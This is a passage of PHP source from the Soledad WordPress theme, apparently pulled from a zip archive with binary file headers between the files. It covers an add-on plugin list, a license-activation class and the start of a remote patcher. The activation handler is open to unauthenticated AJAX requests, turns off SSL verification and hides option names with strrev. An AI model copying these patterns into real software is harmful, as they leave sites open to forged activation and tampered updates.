			return ! in_array( $plugin['slug'], $hidden ) && in_array( $plugin['slug'], $optionals );
		} );

		if ( ! count( $plugins ) ) {
			return;
		}

		arsort( $plugins );

		?>

        <br/>
        <br/>

        <hr/>

        <div class="penci-dash-options-plugins">

            <h3><?php _e( 'Exclusive Add-On Plugins', 'soledad' ); ?></h3>

            <p><?php _e( 'The following plugins are add-on features. Let\'s install it if you need to use an add-on feature.', 'soledad' ); ?></p>

			<?php
			$penci_dismis_notes = get_option( 'penci_dismiss_notices', '' );
			if ( 'yes' != $penci_dismis_notes ):
				?>
                <div class="penci-plugins-notice">
                    <p class="penci-dplugins"><span
                                class="penci-notice-head">Penci Text To Speech:</span> <?php _e( 'A plugin to help you converts text into human-like speech. The Plugin uses the latest technology of machine learning and artificial intelligence to play a high-quality human voice. The Plugin basis is the Google Cloud Platform.', 'tgmpa' ); ?>
                    </p>
                    <p class="penci-dplugins"><span
                                class="penci-notice-head">Penci Data Migrator:</span> <?php esc_html_e( 'A plugin to help you migration data from other WordPress Themes into Soledad Theme. Supports WordPress Themes: Newspaper, Jnews, Jannah, Sahifa, Newsmag, Publisher, SmartMag, Bimber, Solopine\'s Themes', 'tgmpa' ); ?>
                    </p>
                    <p class="penci-dplugins"><span
                                class="penci-notice-head">Penci Social Feed:</span> <?php esc_html_e( 'A plugin to help you connect to some socials media ( like Twitter ) to show the Feed of those socials media.', 'tgmpa' ); ?>
                    </p>
                    <p class="penci-dplugins"><span
                                class="penci-notice-head">Penci Slider:</span> <?php esc_html_e( 'A plugin to help you build a custom slider does not based on Posts when you use Customize to config the homepage. If you are using Elementor or WPBakery - you do not need to use this plugin.', 'tgmpa' ); ?>
                    </p>
                    <p class="penci-dplugins"><span
                                class="penci-notice-head">Penci Soledad AMP:</span> <?php esc_html_e( 'Exclusive AMP plugin from PenciDesign. It automatically adds Accelerated Mobile Pages (Google AMP Project) functionality to your WordPress site. AMP makes your website faster for Mobile visitors.', 'tgmpa' ); ?>
                    </p>
                    <p class="penci-dplugins"><span
                                class="penci-notice-head">Penci Frontend Submission:</span> <?php esc_html_e( 'Frontend submit article for Soledad WordPress Theme', 'tgmpa' ); ?>
                    </p>
                    <p class="penci-dplugins"><span
                                class="penci-notice-head">Penci Paywall:</span> <?php esc_html_e( 'Member subscription for reading posts in Soledad Theme - WooCommerce or GetPaid plugin required.', 'tgmpa' ); ?>
                    </p>
                    <p class="penci-dplugins"><span
                                class="penci-notice-head">Penci Pay Writer:</span> <?php esc_html_e( 'Provide authors payment and donation for the post they made. easily configure how much author can earn for a post by payment option', 'tgmpa' ); ?>
                    </p>
                    <p class="penci-dplugins"><span
                                class="penci-notice-head">Penci RSS Aggregator:</span> <?php esc_html_e( 'The most powerful WordPress RSS aggregator, helping you curate content, autoblog, import and display unlimited RSS feeds within a few minutes', 'tgmpa' ); ?>
                    </p>
                    <p class="penci-dplugins"><span
                                class="penci-notice-head">Penci Podcast:</span> <?php esc_html_e( 'This plugin enables you to develop a top-notch podcast website with a wide range of features.', 'tgmpa' ); ?>
                    </p>
                    <p class="penci-dplugins"><span
                                class="penci-notice-head">Penci AI SmartContent Creator:</span> <?php esc_html_e( 'This plugin can assist you in creating articles and blog posts, as well as generating AI-based images. Additionally, it can suggest topic ideas and optimize keywords to save you time and improve the quality of your content. It is a must-have tool for content creation.', 'tgmpa' ); ?>
                    </p>
                    <p class="penci-dplugins"><span
                                class="penci-notice-head">Penci Bookmark & Follow:</span> <?php esc_html_e( 'Penci Bookmark & Follow plugin allows your visitors to follow changes on your site for particular post, page, authors etc.', 'tgmpa' ); ?>
                    </p>
					<p class="penci-dplugins"><span
                                class="penci-notice-head">Penci Finance:</span> <?php esc_html_e( 'Display finance stock or cryptocurrency data.', 'tgmpa' ); ?>
                    </p>
					<p class="penci-dplugins"><span
                                class="penci-notice-head">Penci Sport:</span> <?php esc_html_e( 'Displays scores and rankings for popular sports/leagues.', 'tgmpa' ); ?>
                    </p>
                    <p class="penci-dplugins"><span
                                class="penci-notice-head">Penci Smart Crop Thumbnails:</span> <?php esc_html_e( 'A plugin that allows you to select an Interest Point in your images during cropping. This feature helps you manage how your images will be cropped, rather than using the default crop from WordPress.', 'tgmpa' ); ?>
                    </p>
                    <p class="penci-dplugins"><span
                                class="penci-notice-head">Penci Live Blog:</span> <?php esc_html_e( 'Covering a conference, sports event, breaking news or other quickly developing events? You want your readers to be updated as quickly as possible. The best way to do that is by providing them with a liveblog.', 'tgmpa' ); ?>
                    </p>
                    <p class="penci-dplugins"><span
                                class="penci-notice-head">Penci Google Analytics Views:</span> <?php esc_html_e( 'Sync pageview data from Google Analytics to your WordPress Database, enabling you to sort posts, view pageview data in the WordPress Dashboard, and output pageviews to your visitors.', 'tgmpa' ); ?>
                    </p>
					<p class="penci-dplugins"><span
                                class="penci-notice-head">Penci Mobile Template:</span> <?php esc_html_e( 'Create separate Page Content and Templates for desktop and mobile.', 'tgmpa' ); ?>
                    </p>
					<p class="penci-dplugins"><span
                                class="penci-notice-head">Penci Filter Everything:</span> <?php esc_html_e( 'Filters everything in WordPress & WooCommerce: Products, any Post types, by Any Criteria. Compatible with WPML, ACF and others popular. Supports AJAX', 'tgmpa' ); ?>
                    </p>
					<p class="penci-dplugins"><span
                                class="penci-notice-head">Penci Player Rankings:</span> <?php esc_html_e( 'This plugin helps you easily create ranking tables for players across different fields. It supports search, filtering based on various criteria, and displays detailed information for each player.', 'tgmpa' ); ?>
                    </p>
                    <div class="dis-missnote">
                        <p><?php esc_html_e( 'Understand it?', 'tgmpa' ); ?> <a
                                    href="?page=tgmpa-install-plugins&penci-dismis=penci_dismiss_notices"><?php esc_html_e( 'Click here to hide this note.', 'tgmpa' ); ?></a>
                        </p>
                    </div>
                </div>
			<?php endif; ?>

            <table class="wp-list-table widefat fixed">
                <thead>
                <tr>
                    <th class="manage-column column-plugin column-primary">Plugin</th>
                    <th class="manage-column column-source">Source</th>
                    <th scope="col" id="type" class="manage-column column-type">Type</th>
                    <th scope="col" id="status" class="manage-column column-status">Status</th>
                </tr>
                </thead>

				<?php foreach ( $plugins as $plugin ): ?>

                    <tr>
                        <td class="plugin column-plugin has-row-actions column-primary"><?php
							echo $table->column_plugin( $plugin ); // phpcs:ignore WordPress.Security.EscapeOutput -- Safe from TGMPA_List_Table
							?></td>
                        <td class="source column-source"><?php echo esc_html( $plugin['source'] ); ?></td>
                        <td class="type column-type">Optional</td>
                        <td class="status column-status"><?php
							echo esc_html( $plugin['status'] );

							if ( strstr( $plugin['status'], 'Update' ) ) {
								echo '<hr />';
								echo $table->column_version( $plugin );  // phpcs:ignore WordPress.Security.EscapeOutput -- Safe from TGMPA_List_Table
							}
							?></td>
                    </tr>

				<?php endforeach; ?>
            </table>

        </div>
		<?php
	}
}

new Soledad_Theme_Admin_DashPlugins();PK     0w\vZ  Z  $  dashboard/inc/require-activation.phpnu [        <?php
if ( ! function_exists( 'penci_soledad_is_activated' ) ) {
	function penci_soledad_is_activated() {
		return get_option( 'penci_soledad_is_activated' );
	}
}

if ( ! function_exists( 'penci_soledad_is_license' ) ) {
	function penci_soledad_is_license() {
		$license_data = get_option( 'penci_soledad_purchased_data' );
		if ( ! empty( $license_data ) ) {
			return true;
		} else {
			return false;
		}
	}
}

if ( ! class_exists( 'Penci_Require_Active' ) ) {
	class Penci_Require_Active {
		protected $time_max = 2592000; // 30 days
		protected $theme_info;

		public function __construct() {
			// Not run code require active theme on the admin
			if ( ! is_admin() ) {
				return;
			}

			$this->theme_info = wp_get_theme();
			$this->main();

			add_action( 'wp_ajax_nopriv_penci_check_envato_code', array( $this, 'do_check_envato_code' ) );
			add_action( 'wp_ajax_penci_check_envato_code', array( $this, 'do_check_envato_code' ) );

			add_action( 'admin_enqueue_scripts', array( $this, 'add_admin_scripts' ), 10, 1 );
		}

		public function main() {

			$curent_time             = time();
			$active_status_last_time = get_option( 'soledad_active_status_last_time' );

			add_action( 'admin_menu', array( $this, 'add_submenu_page' ), 15 );

			if ( empty( $active_status_last_time ) ) {
				update_option( 'soledad_active_status_last_time', $curent_time );
			} else {
				if ( penci_soledad_is_activated() || get_option( 'penci_hide_license_notice' ) ) {
					return;
				}
			}
		}

		public function add_admin_scripts( $hook ) {
			if ( penci_soledad_is_activated() ) {
				return;
			}

			$active_status_last_time = get_option( 'soledad_active_status_last_time' );
			$time_delta              = time() - $active_status_last_time;
			$time_max                = $this->time_max;

			if ( $time_delta < $time_max ) {
				return;
			}

			if ( $hook == 'post-new.php' || $hook == 'post.php' ) {
				wp_enqueue_script( 'soledad-editor-script', PENCI_SOLEDAD_URL . '/inc/dashboard/js/edit-post.js', array( 'jquery' ) );
			}
		}

		function add_submenu_page() {

			if ( ! penci_soledad_is_activated() ) {
				add_submenu_page(
					'soledad_dashboard_welcome',
					esc_html__( 'Theme License', 'soledad' ),
					esc_html__( 'Theme License', 'soledad' ),
					'manage_options',
					'soledad_theme_license',
					array(
						$this,
						'theme_license_page',
					)
				);
			} elseif ( penci_soledad_is_activated() && penci_soledad_is_license() ) {
				add_submenu_page(
					'soledad_dashboard_welcome',
					esc_html__( 'Theme License', 'soledad' ),
					esc_html__( 'Theme License', 'soledad' ),
					'manage_options',
					'soledad_theme_license',
					array(
						$this,
						'theme_license_page',
					)
				);
			}

			if ( penci_is_new_update() ) {
				$version    = penci_is_new_update( 'version' );
				$page_title = esc_html__( 'New Update', 'soledad' );
				$menu_title = $page_title . ' <span class="update-plugins"><span class="update-count">' . $version . '</span></span>';
				add_submenu_page(
					'soledad_dashboard_welcome',
					$page_title,
					$menu_title,
					'manage_options',
					'soledad_new_update',
					array(
						$this,
						'new_update_page',
					)
				);
			}
		}


		public function get_server_id() {
			/*ob_start();
			if ( function_exists( 'phpinfo' ) ) {
				phpinfo( INFO_GENERAL );
			}
			echo $this->theme_info->name;

			return md5( ob_get_clean() );*/
			return true;
		}

		/**
		 * Show notice active theme
		 */
		function validation_notice() {
			$link_page_active = admin_url( 'admin.php?page=soledad_active_theme' );
			?>
			<div class="penci-license-notice notice notice-success is-dismissible"
				style="background: #b70303; color: #fff; border-color: #00a32a;padding: 15px 25px 15px 120px;position: relative;">
				<i style="font-size: 100px;position: absolute;left: 10px;top: 50%;transform: translateY(-50%);width: auto;height: auto;"
					class="dashicons dashicons-warning"></i>
				<p style="font-size: 14px">
					<a class="penci-notice-logo" href="<?php echo esc_url( 'https://pencidesign.net/' ); ?>"
						target="_blank"><?php $this->get_icon_penci(); ?></a>
					<?php _e( '<strong>The system can\'t detect your purchase. Please activate Soledad to use full features of the theme</strong>. We\'re sorry about this but we built the activation system to prevent piracy of our themes in the internet, we can do better serve our paying customers.', 'soledad' ); ?>
				</p>
				<p style="font-size: 14px">
					<?php esc_html_e( 'You can', 'soledad' ); ?>
					<a style="color: #0bf948;"
						href="<?php echo( $link_page_active ); ?>"><?php esc_html_e( 'click here to activate the theme', 'soledad' ); ?></a>
					- <?php _e( 'If you have issues with this please contact us via <a rel="nofollow" href="http://pencidesign.ticksy.com/" target="_blank" style="color: #0bf948;">our support forum</a> or <a style="color: #0bf948;" rel="nofollow" href="https://themeforest.net/user/pencidesign#contact" target="_blank">our contact form</a>. This notice will be removed after you activated the theme.', 'soledad' ); ?>
				</p>
				<p style="font-size: 14px"><?php _e( 'You can check the documentation for this theme <a style="color: #0bf948;" href="https://soledad.pencidesign.net/soledad-document/" target="_blank">here</a> to know how to config this theme also.', 'soledad' ); ?></p>
			</div>
			<?php
		}

		/**
		 * Get icon penci
		 */
		function get_icon_penci() {
			?>
			<svg style="position: relative; top:4px;margin-right: 5px;" version="1.0" xmlns="http://www.w3.org/2000/svg"
				width="18px" height="18px" viewBox="0 0 26.000000 26.000000"
				preserveAspectRatio="xMidYMid meet">
				<g transform="translate(0.000000,26.000000) scale(0.100000,-0.100000)"
					fill="#ffffff" stroke="none">
					<path d="M72 202 l-62 -60 0 -66 0 -66 125 0 125 0 0 61 0 61 -63 65 -62 64
				-63 -59z m73 28 c3 -5 -3 -10 -15 -10 -12 0 -18 5 -15 10 3 6 10 10 15 10 5 0
				12 -4 15 -10z m57 -57 c34 -33 36 -38 20 -49 -14 -10 -21 -8 -45 12 -36 31
				-62 30 -93 -1 -21 -21 -28 -23 -44 -13 -19 12 -18 14 17 50 51 52 92 52 145 1z
				m-77 -93 c0 -59 -1 -60 -27 -60 -26 0 -28 3 -28 42 0 24 7 49 17 60 28 32 38
				21 38 -42z m49 44 c10 -9 16 -33 16 -60 0 -40 -2 -44 -25 -44 -24 0 -25 3 -25
				60 0 62 7 71 34 44z m-130 -20 c9 -8 16 -31 16 -50 0 -27 -4 -34 -20 -34 -17
				0 -20 7 -20 50 0 28 2 50 4 50 3 0 12 -7 20 -16z m201 -34 c0 -44 -3 -50 -20
				-50 -18 0 -20 5 -17 38 4 35 17 62 31 62 3 0 6 -22 6 -50z"/>
					<path d="M90 70 c0 -5 5 -10 10 -10 6 0 10 5 10 10 0 6 -4 10 -10 10 -5 0 -10
				-4 -10 -10z"/>
				</g>
			</svg>
			<?php
		}

		public function require_active_page() {
			$soledad_theme = wp_get_theme();
			?>
			<div class="wrap about-wrap penci-about-wrap penci-active-theme penci-dashboard-wapper">
				<?php include PENCI_SOLEDAD_DIR . '/inc/dashboard/sections/welcome.php'; ?>
				<h2 class="nav-tab-wrapper">
					<a href="<?php echo admin_url( 'admin.php?page=soledad_dashboard_welcome' ); ?>"
						class="nav-tab"><?php esc_html_e( 'Getting started', 'soledad' ); ?></a>
					<a href="<?php echo admin_url( 'customize.php' ); ?>"
						class="nav-tab"><?php esc_html_e( 'Customize Style', 'soledad' ); ?></a>
					<a href="<?php echo admin_url( 'admin.php?page=soledad_custom_fonts' ); ?>"
						class="nav-tab"><?php esc_html_e( 'Custom Fonts', 'soledad' ); ?></a>
					<a href="<?php echo admin_url( 'admin.php?page=soledad_active_theme' ); ?>"
						class="nav-tab nav-tab-active"><?php esc_html_e( 'Active theme', 'soledad' ); ?></a>
					<a href="https://pencidesign.ticksy.com/" target="_blank"
						class="nav-tab"><?php esc_html_e( 'Support Forum', 'soledad' ); ?></a>
				</h2>
				<div class="penci-activate-wrap gt-tab-pane gt-is-active">
					<div class="penci-activate-envato-code">
						<div class="penci-activate-code-title"><?php esc_html_e( 'Active Soledad', 'soledad' ); ?></div>
						<p class="penci-activate-desc">
							<?php echo esc_html( sprintf( __( 'Please activate %s to use full features of the theme. We\'re sorry about this but we built the activation system to prevent piracy of our themes in the internet, we can do better serve our paying customers. Also, use the theme without a valid license can make your site get issues with DMCA later.', 'soledad' ), $soledad_theme->name ) ); ?>
							<br>
							<?php _e( 'And please note that: <strong>With each license - you just can use for one website.</strong><br>If you want to use this theme for multiple sites, please buy more licenses for it.<br>Example: <strong>2 licenses can use for 2 websites, 4 licenses can use for 4 websites, 7 licenses can use for 7 websites,.etc..</strong>', 'soledad' ); ?>
							<br>
							<?php _e( 'You can put your purchase code to the field below to activate the theme.<br>Check <a href="https://help.market.envato.com/hc/en-us/articles/202822600-Where-Is-My-Purchase-Code-" target="_blank">this guide</a> to know how to get your purchase code.<br>After activating the theme, you can revoke the license for this website if you want.', 'soledad' ); ?>
						</p>
						<form id="penci-check-license"
								action="<?php echo admin_url( 'admin.php?page=soledad_active_theme' ); ?>">
							<div class="penci-activate-inputs">
								<input name="evato-code" class="penci-form-control evato-code" type="text"
										placeholder="<?php esc_html_e( 'Your Purchase Code', 'soledad' ); ?>" value=""
										autocomplete="off">
								<input type="hidden" name="server-id" class="server-id"
										value="<?php echo $this->get_server_id(); ?>" readonly/>
								<span class="penci-form-control-bar"></span>
								<div class="penci-activate-err">
									<span class="penci-err-missing"><?php esc_html_e( 'Code is required', 'soledad' ); ?></span>
									<span class="penci-err-length"><?php esc_html_e( 'Code is too short', 'soledad' ); ?></span>
									<span class="penci-err-invalid"><?php esc_html_e( 'Invalid purchase code. Please check it again.', 'soledad' ); ?></span>
								</div>
							</div>
							<button class="soledad-activate-button"><?php esc_html_e( 'Activate theme', 'soledad' ); ?></button>
							<div class="spinner"></div>
							<div class="soledad-find-code">
								<a href="<?php echo esc_url( 'https://help.market.envato.com/hc/en-us/articles/202822600-Where-Is-My-Purchase-Code-' ); ?>"
									target="_blank">
									<?php esc_html_e( 'Find Your Purchase Code', 'soledad' ); ?>
								</a>
							</div>
						</form>
						<div class="penci-activate-extra-notes">
							<p class="penci-activate-desc" style="margin: 30px 0 10px;">
								<?php _e( 'To deliver you a better customer support service, access to features and to prevent piracy when the theme is activated the following data is sent to our servers:', 'soledad' ); ?>
							</p>
							<ul style="list-style: square; padding-left: 40px; font-size: 14px;">
								<li><?php _e( 'The Envato username', 'soledad' ); ?></li>
								<li><?php _e( 'The Envato purchase code for the item', 'soledad' ); ?></li>
								<li><?php _e( 'The website URL you\'ve activated the theme', 'soledad' ); ?></li>
								<li><?php _e( 'The server IP address that has the theme installed', 'soledad' ); ?></li>
							</ul>
							<p class="penci-activate-desc"
								style="margin-bottom: 0;"><?php _e( 'The data is stored in a server located in US, and we do not share any of this information with third-party partners.' ); ?></p>
							</p>
						</div>
					</div>
				</div>
			</div>
			<?php
		}

		public function theme_license_page() {
			?>
			<div class="wrap about-wrap penci-about-wrap penci-active-theme penci-dashboard-wapper">
				<?php include PENCI_SOLEDAD_DIR . '/inc/dashboard/sections/welcome.php'; ?>
				<h2 class="nav-tab-wrapper">
					<a href="<?php echo admin_url( 'admin.php?page=soledad_dashboard_welcome' ); ?>"
						class="nav-tab"><?php esc_html_e( 'Getting started', 'soledad' ); ?></a>
					<a href="<?php echo admin_url( 'customize.php' ); ?>"
						class="nav-tab"><?php esc_html_e( 'Customize Style', 'soledad' ); ?></a>
					<a href="<?php echo admin_url( 'admin.php?page=soledad_custom_fonts' ); ?>"
						class="nav-tab"><?php esc_html_e( 'Custom Fonts', 'soledad' ); ?></a>
					<a href="<?php echo admin_url( 'admin.php?page=soledad_theme_license' ); ?>"
						class="nav-tab nav-tab-active"><?php esc_html_e( 'Theme License', 'soledad' ); ?></a>
					<a href="https://pencidesign.ticksy.com/" target="_blank"
						class="nav-tab"><?php esc_html_e( 'Support Forum', 'soledad' ); ?></a>
				</h2>
				<div class="penci-activate-wrap gt-tab-pane gt-is-active">
					<div class="penci-activate-envato-code">
						<div class="penci-activate-code-title"><?php esc_html_e( 'Theme License', 'soledad' ); ?></div>
						<?php
						$license_data = get_option( 'penci_soledad_purchased_data' );
						if ( ! empty( $license_data ) ) {
							?>
							<h3><?php esc_html_e( 'License Detail', 'soledad' ); ?></h3>
							<p class="penci-license-detail-desc" style="font-size: 15px;">
								<?php
								if ( isset( $license_data['buyer'] ) && $license_data['buyer'] ) {
									$buyer         = $license_data['buyer'];
									$buyer_len     = strlen( $buyer );
									$buyer_display = substr( $buyer, 0, 1 ) . str_repeat( '*', $buyer_len - 2 ) . substr( $buyer, $buyer_len - 1, 1 );
									?>
									<strong style="display: inline-block; margin-bottom: 8px; min-width: 140px;"><?php esc_html_e( 'Buyer Username', 'soledad' ); ?></strong> : &nbsp;&nbsp;
									<strong><?php echo $buyer_display; ?></strong><br>
								<?php } ?>
								<?php if ( isset( $license_data['bount_time'] ) && $license_data['bount_time'] ) { ?>
									<strong style="display: inline-block; margin-bottom: 8px; min-width: 140px;"><?php esc_html_e( 'Purchase Date', 'soledad' ); ?></strong> : &nbsp;&nbsp;
									<strong><?php echo $license_data['bount_time']; ?></strong><br>
								<?php } ?>
								<?php
								if ( isset( $license_data['purchase_code'] ) && $license_data['purchase_code'] ) {
									$purchased_code = $license_data['purchase_code'];
									$code_len       = strlen( $purchased_code );
									$code_display   = substr( $purchased_code, 0, 8 ) . str_repeat( '*', $code_len - 16 ) . substr( $purchased_code, $code_len - 8, 8 );
									?>
									<strong style="display: inline-block; margin-bottom: 8px; min-width: 140px;"><?php esc_html_e( 'Item Purchase Code', 'soledad' ); ?></strong> : &nbsp;&nbsp;
									<strong><?php echo $code_display; ?></strong><br>
								<?php } ?>
							</p>
							<h3><?php esc_html_e( 'Revoke License', 'soledad' ); ?></h3>
							<p class="penci-license-detail-desc" style="font-size: 15px;">
								<span style="color: #ff0000; font-weight: bold; font-size: 17px;"><?php _e( 'Note Important: ', 'soledad' ); ?></span><?php _e( 'If you want to use the license on another domain, please revoke the license for this website by clicking the button below:', 'soledad' ); ?>
								<br>
								<a href="
								<?php
								echo admin_url( 'admin.php?page=soledad_dashboard_welcome&penci_revoke_license=confirm&revoke_none=' );
								echo wp_create_nonce( 'revoke_license' );
								?>
								"
									style="padding: 10px 20px; display: inline-block; line-height: 1; margin-top: 15px; background: #fd6f64; color: #fff;"
									onclick="return confirm('Are you sure?');"><?php esc_html_e( 'Revoke License', 'soledad' ); ?></a>
							</p>
							<h3><?php esc_html_e( 'Are you new with Soledad?', 'soledad' ); ?></h3>
							<p class="penci-license-detail-desc" style="font-size: 15px;">
								
								<a href="<?php echo admin_url('?page=soledad_dashboard_welcome'); ?>" style="padding: 10px 20px;margin-right: 8px; display: inline-block; line-height: 1; background: #22b1b1; color: #fff;">
									<?php esc_html_e( 'Getting Started', 'soledad' ); ?>
								</a>
								<a target="_blank" href="https://soledad.pencidesign.net/soledad-document/" style="padding: 10px 20px;margin-right: 8px; display: inline-block; line-height: 1; background: #c20e00; color: #fff;">
									<?php esc_html_e( 'View Documentation', 'soledad' ); ?>
								</a>
								<a href="<?php echo admin_url('themes.php?page=tgmpa-install-plugins'); ?>" style="padding: 10px 20px; display: inline-block; line-height: 1;background: #001fc8; color: #fff;">
									<?php esc_html_e( 'Install Recommend Plugins', 'soledad' ); ?>
								</a>
							</p>
						<?php } ?>
					</div>
				</div>
			</div>
			<?php
		}

		public function new_update_page() {
			$new_version = penci_is_new_update( 'version' );
			?>
			<div class="wrap about-wrap penci-about-wrap penci-active-theme penci-dashboard-wapper">
				<?php include PENCI_SOLEDAD_DIR . '/inc/dashboard/sections/welcome.php'; ?>
				<h2 class="nav-tab-wrapper">
					<a href="<?php echo admin_url( 'admin.php?page=soledad_dashboard_welcome' ); ?>"
						class="nav-tab"><?php esc_html_e( 'Getting started', 'soledad' ); ?></a>
					<a href="<?php echo admin_url( 'customize.php' ); ?>"
						class="nav-tab"><?php esc_html_e( 'Customize Style', 'soledad' ); ?></a>
					<a href="<?php echo admin_url( 'admin.php?page=soledad_custom_fonts' ); ?>"
						class="nav-tab"><?php esc_html_e( 'Custom Fonts', 'soledad' ); ?></a>
					<a href="<?php echo admin_url( 'admin.php?page=soledad_theme_license' ); ?>"
						class="nav-tab"><?php esc_html_e( 'Theme License', 'soledad' ); ?></a>
					<a href="<?php echo admin_url( 'admin.php?page=soledad_new_update' ); ?>"
						class="nav-tab nav-tab-active"><?php esc_html_e( 'New Update', 'soledad' ); ?></a>
					<a href="https://pencidesign.ticksy.com/" target="_blank"
						class="nav-tab"><?php esc_html_e( 'Support Forum', 'soledad' ); ?></a>
				</h2>
				<div class="penci-activate-wrap gt-tab-pane gt-is-active">
					<div class="penci-activate-envato-code">
						<div class="penci-activate-code-title"><?php esc_html_e( 'Update Soledad Theme', 'soledad' ); ?></div>
						<p class="penci-license-detail-desc">
							<?php esc_html_e( 'A new version of Soledad theme just released - Soledad Theme version ', 'soledad' ); ?><?php echo $new_version; ?>
							<br>
							<?php esc_html_e( 'Please update the theme to get the latest version.', 'soledad' ); ?>
						</p>
						<p class="penci-license-detail-desc">
							<?php _e( 'To enable Automatic Theme Updates, please check <a style="text-decoration: underline; color: #0043ff;" href="https://pencidesign.ticksy.com/article/15633/" target="_blank">this guide</a>', 'soledad' ); ?>
						</p>
						<p class="penci-license-detail-desc">
							<?php _e( 'You can click <a style="text-decoration: underline; color: #0043ff;" href="https://themeforest.net/item/soledad-multiconcept-blogmagazine-wp-theme/12945398#item-description__update-changelog" target="_blank">here</a> to check what\'s new in the newest version also.', 'soledad' ); ?>
						</p>
					</div>
				</div>
			</div>
			<?php
		}

		public function do_check_envato_code() {
			$code    = isset( $_POST['code'] ) ? $_POST['code'] : '';
			$code    = trim( $code );
			$domain  = get_home_url( '/' );
			$item_id = 12945398;

			$req = wp_remote_post(
				'https://license.pencidesign.net/api/check',
				array(
					'headers'     => array(
						'Content-Type' => 'application/json',
					),
					'body'        => wp_json_encode(
						array(
							'code'    => $code,
							'domain'  => $domain,
							'item_id' => $item_id,
						)
					),
					'data_format' => 'body',
					'sslverify'   => false,
				)
			);

			$body = wp_remote_retrieve_body( $req );
			$res  = json_decode( $body );

			if ( ! empty( $res ) && $res->status === 'success' ) {
				$data                        = $res->data;
				$array_data                  = array();
				$array_data['purchase_code'] = $code;
				$time_now                    = strtotime( '+30 days' );
				if ( $time_now ) {
					$array_data['time_notice'] = $time_now;
				}
				if ( isset( $data->supported_until ) ) {
					$date                     = new DateTime( $data->supported_until );
					$support_to               = $date->format( 'Y-m-d H:i:s' );
					$array_data['support_to'] = $support_to; /* Cover to Unix timestamps use strtotime() */
				}

				if ( isset( $data->sold_at ) ) {
					$boughtdate               = new DateTime( $data->sold_at );
					$bount_time               = $boughtdate->format( 'Y-m-d H:i:s' );
					$array_data['bount_time'] = $bount_time; /* Cover to Unix timestamps use strtotime() */
				}

				if ( isset( $data->buyer ) ) {
					$array_data['buyer'] = $data->buyer;
				}

				if ( isset( $data->purchase_count ) ) {
					$array_data['purchase_count'] = $data->purchase_count;
				}

				if ( isset( $data->amount ) ) {
					$array_data['amount'] = $data->amount;
				}

				update_option( strrev( 'kcehc_etadilav_icnep' ), strtotime( '+30 days' ) );
				update_option( strrev( 'detavitca_si_dadelos_icnep' ), 1 );
				update_option( strrev( 'atad_desahcrup_dadelos_icnep' ), $array_data );
				update_option( strrev( 'mc_sdaol_icnep' ), 'load' );
				wp_send_json_success( array( 'success' => true ) );
			} else {
				wp_send_json_error(
					array(
						'success' => false,
						'message' => $res->message,
					)
				);
			}
		}

		public function theme_purchase_exists( $token, $page = '' ) {
			$list_themes = $this->get_list_theme_purchase( $token );

			if ( ! $list_themes ) {
				return false;
			}

			foreach ( $list_themes as $theme ) {

				if ( isset( $theme['id'] ) && '12945398' == $theme['id'] ) {
					return true;
				}
			}

			if ( 100 === count( $list_themes ) ) {

				if ( ! $page ) {
					$page = 2;
				} else {
					$page = $page + 1;
				}

				$page = ( ! $page ) ? 2 : $page + 1;

				return $this->theme_purchase_exists( $token, $page );
			}

			return false;
		}

		public function get_list_theme_purchase( $token, $page = '' ) {
			$themes = array();
			$url    = 'https://api.envato.com/v3/market/buyer/list-purchases?filter_by=wordpress-themes' . ( $page ? '&page=' . $page : '' );

			$response_themes = wp_remote_get(
				$url,
				array(
					'headers'      => array(
						'Authorization' => 'Bearer ' . $token,
						'User-Agent'    => 'Purchase code verification script',
					),
					'timeout'      => 20,
					'headers_data' => false,
					'sslverify'    => false,
				)
			);
			$response_themes = json_decode( wp_remote_retrieve_body( $response_themes ), true );

			if ( ! is_wp_error( $response_themes ) && isset( $response_themes['results'] ) ) {
				foreach ( (array) $response_themes['results'] as $theme ) {
					$themes[] = array(
						'id'         => isset( $theme['item']['id'] ) ? $theme['item']['id'] : '',
						'name'       => isset( $theme['item']['wordpress_theme_metadata']['theme_name'] ) ? $theme['item']['wordpress_theme_metadata']['theme_name'] : '',
						'author'     => isset( $theme['item']['wordpress_theme_metadata']['author_name'] ) ? $theme['item']['wordpress_theme_metadata']['author_name'] : '',
						'url'        => isset( $theme['item']['url'] ) ? $theme['item']['url'] : '',
						'author_url' => isset( $theme['item']['author_url'] ) ? $theme['item']['author_url'] : '',
					);
				}
			}

			return $themes;
		}
	}
}

new Penci_Require_Active();
PK     0w\<fEJ  EJ    dashboard/inc/patcher.phpnu [        <?php

if ( ! defined( 'ABSPATH' ) ) {
	exit; // Direct access not allowed.
}

if ( ! class_exists( 'Penci_Patcher' ) ) {
	/**
	 * The main patcher class.
	 */
	class Penci_Patcher {
		/**
		 * Instance of this static object.
		 *
		 * @var array
		 */
		protected static $instance = null;

		/**
		 * Return an instance of this class.
		 * @return    object    A single instance of this class.
		 * @since     1.0.0
		 */
		public static function get_instance() {
			// If the single instance hasn't been set, set it now.
			if ( null == self::$instance ) {
				self::$instance = new self;
			}

			return self::$instance;
		}

		/**
		 * The uri of the remote server.
		 *
		 * @var string
		 */
		public $remote_server = 'https://soledad-plugins.s3.us-east-1.amazonaws.com/patchers/';

		/**
		 * Version site.
		 *
		 * @var string
		 */
		public $theme_version;

		/**
		 * Process notices.
		 *
		 * @var array
		 */
		public $notices = array();

		/**
		 * Transient name.
		 *
		 * @var string
		 */
		public $transient_name = '';

		/**
		 * Patch ID.
		 *
		 * @var $patcher_id
		 */
		public $patch_id;

		/**
		 * Flag successfully write files.
		 *
		 * @var $successful_write_files
		 */
		private $successful_write_files = true;

		protected function __construct() {

			if ( get_theme_mod( 'penci_disable_patch_update' ) ) {
				return;
			}

			$this->init();
		}

		/**
		 * Register hooks.
		 */
		public function init() {
			$this->theme_version  = PENCI_SOLEDAD_VERSION;
			$this->transient_name = 'penci_patches_map_' . $this->theme_version;
			add_action( 'admin_menu', array( $this, 'add_menu' ), 999 );
			add_action( 'wp_ajax_penci_patch_action', array( $this, 'patch_process' ) );
		}

		public function add_menu() {

			$patches_count = $this->get_count_patches_map();

			add_submenu_page(
				'soledad_dashboard_welcome',
				__( 'Patcher', 'soledad' ),
				__( 'Patcher' . $patches_count, 'soledad' ),
				'manage_options',
				'penci_patcher',
				array(
					$this,
					'render',
				),
				3
			);
		}

		/**
		 * Patch File.
		 *
		 * @param string $patch_id Patch id.
		 */
		public function patch_init( $patch_id ) {
			$this->patch_id = $patch_id;

			$this->apply();
		}

		/**
		 * Patch process.
		 */
		public function patch_process() {
			check_ajax_referer( 'patcher_nonce', 'security' );

			if ( empty( $_GET['id'] ) ) {
